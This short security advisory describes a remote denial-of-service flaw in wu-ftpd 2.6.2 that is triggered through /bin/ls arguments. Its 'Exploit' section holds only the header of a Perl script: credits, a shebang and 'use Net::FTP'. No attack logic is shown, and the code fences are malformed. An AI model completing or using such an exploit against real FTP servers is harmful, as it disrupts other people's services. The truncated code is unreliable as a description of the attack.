Wu-FTPd Remote DoS (/bin/lS)

SUMMARY

A vulnerability in Wu-FTPd allows remote attackers to call the /bin/lS utility with special parameters causing the Wu-FTPd to fail.

DETAILS

Vulnerable systems:

* wu-ftpd version 2.6.2

Exploit:

```
#!/usr/bin/perl
```

# DoS sploit for ls
```

# tested against wu-ftpd 2.6.2
```

# coded by (c) druid
```

# greets to viator
```

```
use Net::FTP;
```
